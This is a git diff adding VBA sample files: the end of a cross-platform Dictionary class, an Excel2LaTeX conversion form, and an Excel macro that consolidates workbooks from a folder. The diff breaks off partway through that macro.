+    dict_KeyValue = dict_GetKeyValue(Key)
+
+    If Not IsEmpty(dict_KeyValue) Then
+        If VBA.IsObject(dict_KeyValue(2)) Then
+            Set Item = dict_KeyValue(2)
+        Else
+            Item = dict_KeyValue(2)
+        End If
+    Else
+        ' Not found -> Returns Empty
+    End If
+#Else
+    If VBA.IsObject(dict_pDictionary.Item(Key)) Then
+        Set Item = dict_pDictionary.Item(Key)
+    Else
+        Item = dict_pDictionary.Item(Key)
+    End If
+#End If
+End Property
+Public Property Let Item(Key As Variant, Value As Variant)
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    If Me.Exists(Key) Then
+        dict_ReplaceKeyValue dict_GetKeyValue(Key), Key, Value
+    Else
+        dict_AddKeyValue Key, Value
+    End If
+#Else
+    dict_pDictionary.Item(Key) = Value
+#End If
+End Property
+Public Property Set Item(Key As Variant, Value As Variant)
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    If Me.Exists(Key) Then
+        dict_ReplaceKeyValue dict_GetKeyValue(Key), Key, Value
+    Else
+        dict_AddKeyValue Key, Value
+    End If
+#Else
+    Set dict_pDictionary.Item(Key) = Value
+#End If
+End Property
+
+Public Property Let Key(Previous As Variant, Updated As Variant)
+Attribute Key.VB_Description = "Change a key to a different key."
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    Dim dict_KeyValue As Variant
+    dict_KeyValue = dict_GetKeyValue(Previous)
+
+    If Not VBA.IsEmpty(dict_KeyValue) Then
+        dict_ReplaceKeyValue dict_KeyValue, Updated, dict_KeyValue(2)
+    End If
+#Else
+    dict_pDictionary.Key(Previous) = Updated
+#End If
+End Property
+
+' ============================================= '
+' Public Methods
+' ============================================= '
+
+''
+' Add an item with the given key
+'
+' @param {Variant} Key
+' @param {Variant} Item
+' --------------------------------------------- '
+Public Sub Add(Key As Variant, Item As Variant)
+Attribute Add.VB_Description = "Add a new key and item to the dictionary."
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    If Not Me.Exists(Key) Then
+        dict_AddKeyValue Key, Item
+    Else
+        ' This key is already associated with an element of this collection
+        Err.Raise 457
+    End If
+#Else
+    dict_pDictionary.Add Key, Item
+#End If
+End Sub
+
+''
+' Check if an item exists for the given key
+'
+' @param {Variant} Key
+' @return {Boolean}
+' --------------------------------------------- '
+Public Function Exists(Key As Variant) As Boolean
+Attribute Exists.VB_Description = "Determine if a given key is in the dictionary."
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    Exists = Not IsEmpty(dict_GetKeyValue(Key))
+#Else
+    Exists = dict_pDictionary.Exists(Key)
+#End If
+End Function
+
+''
+' Get an array of all items
+'
+' @return {Variant}
+' --------------------------------------------- '
+Public Function Items() As Variant
+Attribute Items.VB_Description = "Get an array containing all items in the dictionary."
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    If Me.Count > 0 Then
+        Items = dict_pItems
+    Else
+        ' Split("") creates initialized empty array that matches Dictionary Keys and Items
+        Items = VBA.Split("")
+    End If
+#Else
+    Items = dict_pDictionary.Items
+#End If
+End Function
+
+''
+' Get an array of all keys
+'
+' @return {Variant}
+' --------------------------------------------- '
+Public Function Keys() As Variant
+Attribute Keys.VB_Description = "Get an array containing all keys in the dictionary."
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    If Me.Count > 0 Then
+        Keys = dict_pKeys
+    Else
+        ' Split("") creates initialized empty array that matches Dictionary Keys and Items
+        Keys = VBA.Split("")
+    End If
+#Else
+    Keys = dict_pDictionary.Keys
+#End If
+End Function
+
+''
+' Remove an item for the given key
+'
+' @param {Variant} Key
+' --------------------------------------------- '
+Public Sub Remove(Key As Variant)
+Attribute Remove.VB_Description = "Remove a given key from the dictionary."
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    Dim dict_KeyValue As Variant
+    dict_KeyValue = dict_GetKeyValue(Key)
+
+    If Not VBA.IsEmpty(dict_KeyValue) Then
+        dict_RemoveKeyValue dict_KeyValue
+    Else
+        ' Application-defined or object-defined error
+        Err.Raise 32811
+    End If
+#Else
+    dict_pDictionary.Remove Key
+#End If
+End Sub
+
+''
+' Remove all items
+' --------------------------------------------- '
+Public Sub RemoveAll()
+Attribute RemoveAll.VB_Description = "Remove all information from the dictionary."
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    Set dict_pKeyValues = New Collection
+
+    Erase dict_pKeys
+    Erase dict_pItems
+#Else
+    dict_pDictionary.RemoveAll
+#End If
+End Sub
+
+' ============================================= '
+' Private Functions
+' ============================================= '
+
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+
+Private Function dict_GetKeyValue(dict_Key As Variant) As Variant
+    On Error Resume Next
+    dict_GetKeyValue = dict_pKeyValues(dict_GetFormattedKey(dict_Key))
+    Err.Clear
+End Function
+
+Private Sub dict_AddKeyValue(dict_Key As Variant, dict_Value As Variant, Optional dict_Index As Long = -1)
+    If Me.Count = 0 Then
+        ReDim dict_pKeys(0 To 0)
+        ReDim dict_pItems(0 To 0)
+    Else
+        ReDim Preserve dict_pKeys(0 To UBound(dict_pKeys) + 1)
+        ReDim Preserve dict_pItems(0 To UBound(dict_pItems) + 1)
+    End If
+
+    Dim dict_FormattedKey As String
+    dict_FormattedKey = dict_GetFormattedKey(dict_Key)
+
+    If dict_Index >= 0 And dict_Index < dict_pKeyValues.Count Then
+        ' Shift keys/items after + including index into empty last slot
+        Dim dict_i As Long
+        For dict_i = UBound(dict_pKeys) To dict_Index + 1 Step -1
+            dict_pKeys(dict_i) = dict_pKeys(dict_i - 1)
+            If VBA.IsObject(dict_pItems(dict_i - 1)) Then
+                Set dict_pItems(dict_i) = dict_pItems(dict_i - 1)
+            Else
+                dict_pItems(dict_i) = dict_pItems(dict_i - 1)
+            End If
+        Next dict_i
+
+        ' Add key/item at index
+        dict_pKeys(dict_Index) = dict_Key
+        If VBA.IsObject(dict_Value) Then
+            Set dict_pItems(dict_Index) = dict_Value
+        Else
+            dict_pItems(dict_Index) = dict_Value
+        End If
+
+        ' Add key-value at proper index
+        dict_pKeyValues.Add Array(dict_FormattedKey, dict_Key, dict_Value), dict_FormattedKey, Before:=dict_Index + 1
+    Else
+        ' Add key-value as last item
+        If VBA.IsObject(dict_Key) Then
+            Set dict_pKeys(UBound(dict_pKeys)) = dict_Key
+        Else
+            dict_pKeys(UBound(dict_pKeys)) = dict_Key
+        End If
+        If VBA.IsObject(dict_Value) Then
+            Set dict_pItems(UBound(dict_pItems)) = dict_Value
+        Else
+            dict_pItems(UBound(dict_pItems)) = dict_Value
+        End If
+
+        dict_pKeyValues.Add Array(dict_FormattedKey, dict_Key, dict_Value), dict_FormattedKey
+    End If
+End Sub
+
+Private Sub dict_ReplaceKeyValue(dict_KeyValue As Variant, dict_Key As Variant, dict_Value As Variant)
+    Dim dict_Index As Long
+    Dim dict_i As Integer
+
+    dict_Index = dict_GetKeyIndex(dict_KeyValue(1))
+
+    ' Remove existing dict_Value
+    dict_RemoveKeyValue dict_KeyValue, dict_Index
+
+    ' Add new dict_Key dict_Value back
+    dict_AddKeyValue dict_Key, dict_Value, dict_Index
+End Sub
+
+Private Sub dict_RemoveKeyValue(dict_KeyValue As Variant, Optional ByVal dict_Index As Long = -1)
+    Dim dict_i As Long
+    If dict_Index = -1 Then
+        dict_Index = dict_GetKeyIndex(dict_KeyValue(1))
+    End If
+
+    If dict_Index >= 0 And dict_Index <= UBound(dict_pKeys) Then
+        ' Shift keys/items after index down
+        For dict_i = dict_Index To UBound(dict_pKeys) - 1
+            dict_pKeys(dict_i) = dict_pKeys(dict_i + 1)
+
+            If VBA.IsObject(dict_pItems(dict_i + 1)) Then
+                Set dict_pItems(dict_i) = dict_pItems(dict_i + 1)
+            Else
+                dict_pItems(dict_i) = dict_pItems(dict_i + 1)
+            End If
+        Next dict_i
+
+        ' Resize keys/items to remove empty slot
+        If UBound(dict_pKeys) = 0 Then
+            Erase dict_pKeys
+            Erase dict_pItems
+        Else
+            ReDim Preserve dict_pKeys(0 To UBound(dict_pKeys) - 1)
+            ReDim Preserve dict_pItems(0 To UBound(dict_pItems) - 1)
+        End If
+    End If
+
+    dict_pKeyValues.Remove dict_KeyValue(0)
+    dict_RemoveObjectKey dict_KeyValue(1)
+End Sub
+
+Private Function dict_GetFormattedKey(dict_Key As Variant) As String
+    If VBA.IsObject(dict_Key) Then
+        dict_GetFormattedKey = dict_GetObjectKey(dict_Key)
+    ElseIf VarType(dict_Key) = VBA.vbBoolean Then
+        dict_GetFormattedKey = IIf(dict_Key, "-1__-1", "0__0")
+    ElseIf VarType(dict_Key) = VBA.vbString Then
+        dict_GetFormattedKey = dict_Key
+
+        If Me.CompareMode = CompareMethod.BinaryCompare Then
+            ' Collection does not have method of setting key comparison
+            ' So case-sensitive keys aren't supported by default
+            ' -> Approach: Append lowercase characters to original key
+            '    AbC -> AbC___b_, abc -> abc__abc, ABC -> ABC_____
+            Dim dict_Lowercase As String
+            dict_Lowercase = ""
+
+            Dim dict_i As Integer
+            Dim dict_Char As String
+            Dim dict_Ascii As Integer
+            For dict_i = 1 To VBA.Len(dict_GetFormattedKey)
+                dict_Char = VBA.Mid$(dict_GetFormattedKey, dict_i, 1)
+                dict_Ascii = VBA.Asc(dict_Char)
+                If dict_Ascii >= 97 And dict_Ascii <= 122 Then
+                    dict_Lowercase = dict_Lowercase & dict_Char
+                Else
+                    dict_Lowercase = dict_Lowercase & "_"
+                End If
+            Next dict_i
+
+            If dict_Lowercase <> "" Then
+                dict_GetFormattedKey = dict_GetFormattedKey & "__" & dict_Lowercase
+            End If
+        End If
+    Else
+        ' For numbers, add duplicate to distinguish from strings
+        ' ->  123  -> "123__123"
+        '    "123" -> "123"
+        dict_GetFormattedKey = VBA.CStr(dict_Key) & "__" & CStr(dict_Key)
+    End If
+End Function
+
+Private Function dict_GetObjectKey(dict_ObjKey As Variant) As String
+    Dim dict_i As Integer
+    For dict_i = 1 To dict_pObjectKeys.Count
+        If dict_pObjectKeys.Item(dict_i) Is dict_ObjKey Then
+            dict_GetObjectKey = "__object__" & dict_i
+            Exit Function
+        End If
+    Next dict_i
+
+    dict_pObjectKeys.Add dict_ObjKey
+    dict_GetObjectKey = "__object__" & dict_pObjectKeys.Count
+End Function
+
+Private Sub dict_RemoveObjectKey(dict_ObjKey As Variant)
+    Dim dict_i As Integer
+    For dict_i = 1 To dict_pObjectKeys.Count
+        If dict_pObjectKeys.Item(dict_i) Is dict_ObjKey Then
+            dict_pObjectKeys.Remove dict_i
+            Exit Sub
+        End If
+    Next dict_i
+End Sub
+
+Private Function dict_GetKeyIndex(dict_Key As Variant) As Long
+    Dim dict_i As Long
+    For dict_i = 0 To UBound(dict_pKeys)
+        If VBA.IsObject(dict_pKeys(dict_i)) And VBA.IsObject(dict_Key) Then
+            If dict_pKeys(dict_i) Is dict_Key Then
+                dict_GetKeyIndex = dict_i
+                Exit For
+            End If
+        ElseIf VBA.IsObject(dict_pKeys(dict_i)) Or VBA.IsObject(dict_Key) Then
+            ' Both need to be objects to check equality, skip
+        ElseIf dict_pKeys(dict_i) = dict_Key Then
+            dict_GetKeyIndex = dict_i
+            Exit For
+        End If
+    Next dict_i
+End Function
+
+#End If
+
+Private Sub Class_Initialize()
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    Set dict_pKeyValues = New Collection
+
+    Erase dict_pKeys
+    Erase dict_pItems
+    Set dict_pObjectKeys = New Collection
+#Else
+    Set dict_pDictionary = CreateObject("Scripting.Dictionary")
+#End If
+End Sub
+
+Private Sub Class_Terminate()
+#If Mac Or Not UseScriptingDictionaryIfAvailable Then
+    Set dict_pKeyValues = Nothing
+    Set dict_pObjectKeys = Nothing
+#Else
+    Set dict_pDictionary = Nothing
+#End If
+End Sub
diff --git a/samples/VBA/frmConvert.frm b/samples/VBA/frmConvert.frm
new file mode 100644
index 0000000000..5686bbe8a9
--- /dev/null
+++ b/samples/VBA/frmConvert.frm
@@ -0,0 +1,325 @@
+VERSION 5.00
+Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} frmConvert 
+   OleObjectBlob   =   "frmConvert.frx":0000
+   Caption         =   "Excel2LaTeX"
+   ClientHeight    =   7440
+   ClientLeft      =   45
+   ClientTop       =   330
+   ClientWidth     =   12075
+   StartUpPosition =   1  'CenterOwner
+   TypeInfoVer     =   109
+End
+Attribute VB_Name = "frmConvert"
+Attribute VB_Base = "0{86998920-9B42-405F-8BA3-9B10214C86E8}{A87D0BBE-8D68-4653-9A87-9251ECDE6A1F}"
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = False
+Attribute VB_PredeclaredId = True
+Attribute VB_Exposed = False
+Attribute VB_TemplateDerived = False
+Attribute VB_Customizable = False
+Option Explicit
+
+Implements IView
+
+Private mController As IController
+Attribute mController.VB_VarHelpID = -1
+Private WithEvents mControllerEvents As IControllerEvents
+Attribute mControllerEvents.VB_VarHelpID = -1
+
+Private mModel As IModel
+Private WithEvents mModelEvents As IModelEvents
+Attribute mModelEvents.VB_VarHelpID = -1
+
+Private mStorage As IStorage
+Private WithEvents mStorageEvents As IStorageEvents
+Attribute mStorageEvents.VB_VarHelpID = -1
+
+Private WithEvents mActiveWkSheet As Worksheet
+Attribute mActiveWkSheet.VB_VarHelpID = -1
+
+Private mbIgnoreControlEvents As Boolean
+
+'
+' IView implementation
+'
+Private Property Get IView_Controller() As IController
+    Set IView_Controller = mController
+End Property
+Private Property Set IView_Controller(ByVal pController As IController)
+    Set mController = pController
+    Set mControllerEvents = pController.Events
+End Property
+
+Private Property Get IView_Storage() As IStorage
+    Set IView_Storage = mStorage
+End Property
+Private Property Set IView_Storage(ByVal pStorage As IStorage)
+    Set mStorage = pStorage
+    Set mStorageEvents = pStorage.Events
+    LoadStoredTablesList
+End Property
+
+Private Sub IView_Show(ByVal Modal As FormShowConstants)
+    Me.Show Modal
+End Sub
+
+
+'
+' Form implementation
+'
+Private Function SafeRangePrecedents(ByVal pRange As Range) As Range
+    On Error Resume Next
+    Set SafeRangePrecedents = pRange.Precedents
+End Function
+
+Private Function UnionOfRangeAndItsPrecedents(ByVal pRange As Range) As Range
+    Dim pPrecedents As Range
+    Set pPrecedents = SafeRangePrecedents(pRange)
+    
+    If pPrecedents Is Nothing Then
+        Set UnionOfRangeAndItsPrecedents = pRange
+    Else
+        Set UnionOfRangeAndItsPrecedents = Union(pRange, pPrecedents)
+    End If
+End Function
+
+
+Private Sub AutoApplyBox_Click()
+    ApplyButton.Enabled = Not AutoApplyBox.Value
+    If AutoApplyBox.Value Then ApplyButton_Click
+End Sub
+
+Private Sub chkBooktabs_Click()
+    If AutoApplyBox.Value Then UpdateOptions
+End Sub
+
+Private Sub chkConvertDollar_Click()
+    If AutoApplyBox.Value Then UpdateOptions
+End Sub
+
+Private Sub chkTableFloat_Click()
+    If AutoApplyBox.Value Then UpdateOptions
+End Sub
+
+Private Sub ApplyButton_Click()
+    UpdateOptions
+    mModel.CellWidth = txtCellSize
+    mModel.Indent = txtIndent
+End Sub
+
+Private Sub lvwStoredTables_Change()
+    Dim bSelected As Boolean
+    bSelected = (lvwStoredTables.ListIndex >= 0)
+    cmdLoad.Enabled = bSelected
+    cmdDelete.Enabled = bSelected
+    cmdOverwrite.Enabled = bSelected
+End Sub
+
+Private Sub lvwStoredTables_DblClick(ByVal Cancel As MSForms.ReturnBoolean)
+    If cmdLoad.Enabled Then cmdLoad_Click
+End Sub
+
+Private Sub lvwStoredTables_KeyDown(ByVal KeyCode As MSForms.ReturnInteger, ByVal Shift As Integer)
+    Select Case KeyCode
+    Case 46 ' delete
+        cmdDelete_Click
+    End Select
+End Sub
+
+Private Sub mActiveWkSheet_Change(ByVal Target As Range)
+    On Error GoTo errfail
+    If Not Me.Visible Then Exit Sub
+    If Not Intersect(Target, UnionOfRangeAndItsPrecedents(mModel.Range)) Is Nothing Then
+        ConvertSelection
+    End If
+errfail:
+End Sub
+
+Private Sub mControllerEvents_ModelChanged()
+    Dim pModel As IModel
+    Set pModel = mController.Model
+    
+    Set mModel = pModel
+    Set mModelEvents = pModel.Events
+    InitFromModel mModel
+    
+    Set mActiveWkSheet = Nothing
+    If Not mModel.Range Is Nothing Then Set mActiveWkSheet = mModel.Range.Worksheet
+End Sub
+
+Private Sub mModelEvents_Changed()
+    If mbIgnoreControlEvents Then Exit Sub
+    SetResult mModel.GetConversionResult
+End Sub
+
+Private Sub mStorageEvents_Changed()
+    LoadStoredTablesList
+End Sub
+
+Private Sub SetResult(ByVal sResult As String)
+    #If Mac Then
+    txtResult.Locked = False
+    #End If
+    
+    txtResult.Text = sResult
+    
+    #If Mac Then
+    txtResult.Locked = True
+    #End If
+End Sub
+
+Private Sub ConvertSelection()
+    If mbIgnoreControlEvents Then Exit Sub
+    SetResult mModel.GetConversionResult
+    txtResult.SetFocus
+End Sub
+
+Public Sub InitModel(ByVal pModel As IModel)
+    With pModel
+        .CellWidth = Val(Me.txtCellSize)
+        .Options = Me.GetOptions()
+        .Indent = Val(Me.txtIndent)
+        .FileName = Me.txtFilename
+    End With
+End Sub
+
+Public Sub InitFromModel(ByVal pModel As IModel)
+    mbIgnoreControlEvents = True
+    With pModel
+        Me.txtCellSize = .CellWidth
+        Me.SetOptions (.Options)
+        Me.txtIndent = .Indent
+        Me.txtFilename = .FileName
+        Me.cmdSelection.Caption = .RangeAddress
+    End With
+    mbIgnoreControlEvents = False
+    ConvertSelection
+End Sub
+
+Private Sub LoadStoredTablesList()
+    lvwStoredTables.Clear
+    
+    Dim pModel As IModel
+    For Each pModel In mStorage.GetItems
+        lvwStoredTables.AddItem pModel.Description
+    Next
+End Sub
+
+Function GetOptions() As x2lOptions
+    If chkBooktabs.Value Then GetOptions = GetOptions Or x2lBooktabs
+    If chkConvertDollar.Value Then GetOptions = GetOptions Or x2lConvertMathChars
+    If chkTableFloat.Value Then GetOptions = GetOptions Or x2lCreateTableEnvironment
+End Function
+Sub SetOptions(ByVal Options As x2lOptions)
+    chkBooktabs.Value = (Options And x2lBooktabs) <> 0
+    chkConvertDollar.Value = (Options And x2lConvertMathChars) <> 0
+    chkTableFloat.Value = (Options And x2lCreateTableEnvironment) <> 0
+End Sub
+
+Private Sub UpdateOptions()
+    mModel.Options = GetOptions()
+End Sub
+
+Private Sub cmdBrowse_Click()
+    Dim sFileName
+    sFileName = Application.GetSaveAsFilename(mModel.AbsoluteFileName, "TeX documents (*.tex), *.tex")
+    If sFileName <> False Then
+        txtFilename = sFileName
+    End If
+End Sub
+
+Private Sub cmdCancel_Click()
+  Hide
+End Sub
+
+
+
+Private Sub cmdCopy_Click()
+    #If VBA7 And Win32 Then
+        If Not Win32_SetClipBoard(txtResult) Then Exit Sub
+    #Else
+        Dim dataObj As New DataObject
+        dataObj.SetText txtResult
+        dataObj.PutInClipboard
+    #End If
+    Hide
+End Sub
+
+Private Sub cmdSave_Click()
+    SaveConversionResultToFile mModel
+    Hide
+End Sub
+
+
+
+
+Private Sub cmdStore_Click()
+    mStorage.Add mModel
+    lvwStoredTables.ListIndex = lvwStoredTables.ListCount - 1
+End Sub
+
+Private Sub cmdOverwrite_Click()
+    Dim lIndex As Long
+    lIndex = lvwStoredTables.ListIndex
+    mStorage.Remove lIndex + 1
+    mStorage.Add mModel, lIndex
+    lvwStoredTables.ListIndex = lIndex
+End Sub
+
+Private Sub cmdLoad_Click()
+    Set mController.Model = mStorage.GetItems.Item(lvwStoredTables.ListIndex + 1)
+End Sub
+
+Private Sub cmdDelete_Click()
+    mStorage.Remove lvwStoredTables.ListIndex + 1
+End Sub
+
+
+Private Sub cmdExportAll_Click()
+    SaveAllStoredItems mStorage
+End Sub
+
+Private Sub CommandButton2_Click()
+  frmAbout.Show
+End Sub
+
+
+Private Sub spnCellWidth_Change()
+  txtCellSize.Text = spnCellWidth
+End Sub
+
+Private Sub spnIndent_Change()
+  txtIndent.Text = spnIndent
+End Sub
+
+Private Sub txtCellSize_Change()
+    On Error Resume Next
+    spnCellWidth = txtCellSize
+    If AutoApplyBox.Value Then mModel.CellWidth = txtCellSize
+End Sub
+
+Private Sub txtFilename_Change()
+    mModel.FileName = txtFilename
+    If txtFilename <> mModel.FileName Then
+        txtFilename = mModel.FileName
+    End If
+End Sub
+
+Private Sub txtIndent_Change()
+    On Error Resume Next
+    spnIndent = txtIndent
+    If AutoApplyBox.Value Then mModel.Indent = txtIndent
+End Sub
+
+Private Sub cmdSelection_Click()
+    Set mModel.Range = Application.Selection
+    Me.cmdSelection.Caption = mModel.RangeAddress
+End Sub
+
+Private Sub UserForm_Click()
+' This is regenerated every time the form is activated in the IDE. Just keep it here.
+End Sub
+
+Private Sub UserForm_Initialize()
+    lvwStoredTables_Change
+End Sub
diff --git a/samples/VBA/procedures.vba b/samples/VBA/procedures.vba
new file mode 100644
index 0000000000..3bae81f492
--- /dev/null
+++ b/samples/VBA/procedures.vba
@@ -0,0 +1,217 @@
+' ------------------------------------------------------------------------------
+' Settings
+' ------------------------------------------------------------------------------
+Option Explicit
+' ------------------------------------------------------------------------------
+' Procedures
+' ------------------------------------------------------------------------------
+Public Sub consolidate()
+  ' Variables
+  Dim btmRow As Long
+  Dim check As String
+  Dim colOffset As Long
+  Dim column As Long
+  Dim counter As Long
+  Dim dialog As Integer
+  Dim file As Long
+  Dim filename As String
+  Dim files() As String
+  Dim fso As New FileSystemObject
+  Dim header As Long
+  Dim leftCol As Long
+  Dim name As String
+  Dim namecheck As String
+  Dim newfile As String
+  Dim path As String
+  Dim rightCol As Long
+  Dim row As Long
+  Dim rowOffset As Long
+  Dim source As Range
+  Dim target As Range
+  Dim topRow As Long
+  Dim twb As Workbook
+  Dim tws As Worksheet
+  Dim version As Integer
+  Dim wb As Workbook
+  Dim ws As Worksheet
+  ' Workbook variables
+  Set twb       = Application.ThisWorkbook                                      ' Select workbook
+  Let filename  = fso.GetBaseName(twb.FullName)                                 ' Get file fullname
+  Set tws       = twb.Sheets(1)                                                 ' Select worksheet
+  Let header    = 1                                                             ' Header size
+  Let rowOffset = 0                                                             ' Row offset
+  Let topRow    = 1 + rowOffset + header                                        ' First row with data
+  Let colOffset = 1                                                             ' Column offset (modify according to use cases)
+  Let leftCol   = 1 + colOffset                                                 ' First column with data
+  ' Start
+  GoTo start
+quit:
+  Let dialog = MsgBox( _
+    prompt:="Are you sure you want to quit?", _
+    Buttons:=vbExclamation + vbYesNo, _
+    Title:=filename)                                                            ' Quit validation message
+  If dialog = vbYes Then                                                        ' If user confirms
+    twb.Close SaveChanges:=False                                                ' Close the workbook
+    If Application.Workbooks.Count = 0 Then                                     ' If only this workbook was open
+      Application.quit                                                          ' Quit the application
+    End If
+  ElseIf dialog = vbNo Then                                                     ' Else
+    GoTo start                                                                  ' Go back to start
+  End If
+start:
+  ' User interaction
+  Let dialog = MsgBox( _
+    prompt:="Are the files in the same folder as this document?", _
+    Buttons:=vbQuestion + vbYesNo, _
+    Title:=filename)                                                            ' Ask if files are in the current folder
+  If dialog = vbYes Then                                                        ' If it is true
+    Let path = twb.path                                                         ' Set path to current repository
+  ElseIf dialog = vbNo Then                                                     ' If not
+    If path = "False" Then Let path = ""                                        ' Reset path if action has been cancelled
+    Let path = Application.InputBox( _
+      prompt:="Enter the path to the repository containing the files to consolidate:", _
+      Title:=filename, _
+      Default:=path, _
+      Type:=2)                                                                  ' Input source repository path
+    ' Check input
+    If StrPtr(path) = 0 Or path = "False" Then                                  ' If user cancels action
+      GoTo quit                                                                 ' Quit application
+    ElseIf path = "" Then                                                       ' If user provided no value
+      Let dialog = MsgBox( _
+        prompt:="Please provide a valid path.", _
+        Buttons:=vbExclamation + vbRetryCancel, _
+        Title:=filename)                                                        ' Throw error message
+      If dialog = vbRetry Then                                                  ' If user wants to retry
+        GoTo start                                                              ' Go back to the beginning
+      Else: GoTo quit                                                           ' Else close application
+      End If
+    End If
+  End If
+  If Right(path, 1) <> "\" Then                                                 ' If closing backslash is missing
+    Let path = path & "\"                                                       ' Add it to the end of the path
+  End If
+  ' Check if files are found in the repository
+  Let check = Dir(path & "*.xl*")                                               ' Check for Excel files and store its name
+  If (check = "") Then                                                          ' If no Excel files are found
+    Let dialog = MsgBox( _
+      prompt:="No files were found.", _
+      Buttons:=vbExclamation + vbRetryCancel, _
+      Title:=filename)                                                          ' Throw error message
+    If dialog = vbRetry Then                                                    ' If user wants to retry
+      GoTo start                                                                ' Go back to the beginning
+    Else: GoTo quit                                                             ' Else close application
+    End If
+  End If
+version:
+  ' Version check
+  Let dialog = MsgBox( _
+    prompt:="The file will be generated for the year " & Year(Date) & "." & Chr(13) & Chr(13) & "Is this the correct date?", _
+    Buttons:=vbQuestion + vbYesNo, _
+    Title:=filename)                                                            ' Ask if year is current
+  If dialog = vbNo Then                                                         ' If version is not valid
+    Let version = Application.InputBox( _
+      prompt:="Please enter the correct year:", _
+      Title:=filename, _
+      Type:=1)                                                                  ' Ask for correct year
+    If version = 0 Then                                                         ' If user cancels
+      GoTo version                                                              ' Go back to previous step
+    End If
+  Else
+    Let version = Year(Date)                                                    ' Version (year)
+  End If
+  Let tws.name  = version                                                       ' Rename worksheet
+  Let newfile   = filename & " - " & version                                    ' Add version to filename
+  ' Iterate on files list
+  Let counter = 0                                                               ' Initialise counter
+  Do While check <> ""                                                          ' As long are files are found
+    Let name = Split(check, ".xl")(0)                                           ' Store workbook name
+    If name <> filename And name <> newfile Then                                ' Skip current workbook or consolidated one
+      If InStr(name, CStr(version)) > 0 Then                                    ' If files are from the corresponding year
+        Let counter = counter + 1                                               ' Increment counter
+        ReDim Preserve files(counter)                                           ' Redimension array
+        Let files(counter) = check                                              ' Assign document
+      End If
+    End If
+    Let check = Dir()                                                           ' Get next entry
+  Loop                                                                          ' Iterate
+  If counter = 0 Then                                                           ' If no source files are found for the corresponding year
+    Let dialog = MsgBox( _
+      prompt:="No Excel files were found for the year " & version & ".", _
+      Buttons:=vbExclamation + vbRetryCancel, _
+      Title:=filename)                                                          ' Throw error message
+    If dialog = vbRetry Then                                                    ' If user wants to retry
+      GoTo start                                                                ' Go back to the beginning
+    Else: GoTo quit                                                             ' Else close application
+    End If
+  Else
+    ' Settings
+    Application.Calculation     = xlCalculationManual                           ' Disable auto-processing
+    Application.DisplayAlerts   = False                                         ' Disable alerts
+    Application.EnableEvents    = False                                         ' Disable events
+    Application.ScreenUpdating  = False                                         ' Disable display updates
+    ' Import data
+    Let dialog = MsgBox( _
+      prompt:="Excel will now consolidate each files found in the repository " & path & " for the year " & version & "." & Chr(13) & Chr(13) & "Please wait until the process is complete.", _
+      Buttons:=vbInformation + vbOKCancel, _
+      Title:=filename)                                                          ' Start message
+    If dialog = vbCancel Then GoTo quit                                         ' If user cancels, go back to quit
+    window.Show                                                                 ' Display progress bar
+    progress (5)                                                                ' Update progress bar
+    ' Import headers
+    Set wb        = Workbooks.Open(path & files(1))                             ' Select and open first workbook
+    Set ws        = wb.Worksheets(1)                                            ' Select worksheet
+    Let column    = getLastColIndex(ws, 1 + rowOffset)                          ' Get column index
+    Let topRow    = 1                                                           ' Target first row by default (adjust if needed)
+    Let leftCol   = 1                                                           ' Target first column by default (adjust if needed)
+    Let rightCol  = column - colOffset                                          ' Adjust for column offset
+    Set source    = ws.Range(ws.Cells(1 + rowOffset, leftCol + colOffset), ws.Cells(header + rowOffset, column))  ' Select header
+    Set target    = tws.Range(tws.Cells(topRow, leftCol), tws.Cells(header, rightCol))  ' Target cell
+    Call copyData(source, target)                                               ' Copy values
+    wb.Close SaveChanges:=False                                                 ' Exit source workbook
+    Let topRow    = topRow + header                                             ' Reposition row index
+    progress (10)                                                               ' Update progress bar
+    ' Import values
+    For file = LBound(files) To UBound(files)                                   ' Iterate over files list
+      Set wb = Nothing                                                          ' Reset pointer
+      On Error Resume Next
+      Set wb = Workbooks.Open(path & files(file + 1))                           ' Select and open source workbook
+      On Error GoTo 0
+      If Not wb Is Nothing Then                                                 ' Check that workbook is selected
+        On Error Resume Next
+        Let namecheck = fso.GetBaseName(wb.FullName)                            ' Get workbook name
+        If (namecheck <> filename And namecheck <> newfile) Then                ' Skip current workbook or consolidated one
+          Set ws = wb.Worksheets(1)                                             ' Select worksheet
+          Let column = getLastColIndex(ws, 1 + rowOffset)                       ' Get column index
+          Let rightCol = column - colOffset                                     ' Adjust for column offset
+          Let row = getLastRowIndex(ws, 1 + colOffset)                          ' Get row index
+          ' Check if file is not empty
+          If (row > 1) Then                                                     ' If data is found
+            Let btmRow = topRow - 1 - header + row - rowOffset                  ' Adjust for row offsets due to header and/or previous data
+            Set source = ws.Range(ws.Cells(1 + header + rowOffset, leftCol + colOffset), ws.Cells(row, column)) ' Source range
+            Set target = tws.Range(tws.Cells(topRow, leftCol), tws.Cells(btmRow, rightCol)) ' Target cell
+            Call copyData(source, target)                                       ' Copy values
+            Let topRow = btmRow + 1                                             ' Reposition top row
+            End If
+        End If
+        wb.Close SaveChanges:=False                                             ' Exit source workbook
+      End If
+      progress (Round((1 + file) / counter * 80) + 10)                          ' Update progress bar
+    Next file                                                                   ' Next file
+    progress (90)                                                               ' Update progress bar
+    tws.Columns.AutoFit                                                         ' Resize columns width
+    ' Let newfile = path & newfile                                                ' Add path to filename
+    twb.SaveAs filename:=path & newfile, FileFormat:=xlOpenXMLWorkbook            ' Save as new workbook
+    ' Reset settings
+    Application.Calculation     = xlCalculationAutomatic
+    Application.DisplayAlerts   = True
+    Application.EnableEvents    = True
+    Application.ScreenUpdating  = True
+    ' End
+    twb.Save                                                                    ' Save workbook
+    window.Hide                                                                 ' Hide progress bar
+    Let dialog = MsgBox( _
+      prompt:="Files consolidation done." & Chr(13) & Chr(13) & "The file " & newfile & ".xlsx has been generated at location " & path & ".", _
+      Buttons:=vbInformation + vbOKOnly, _
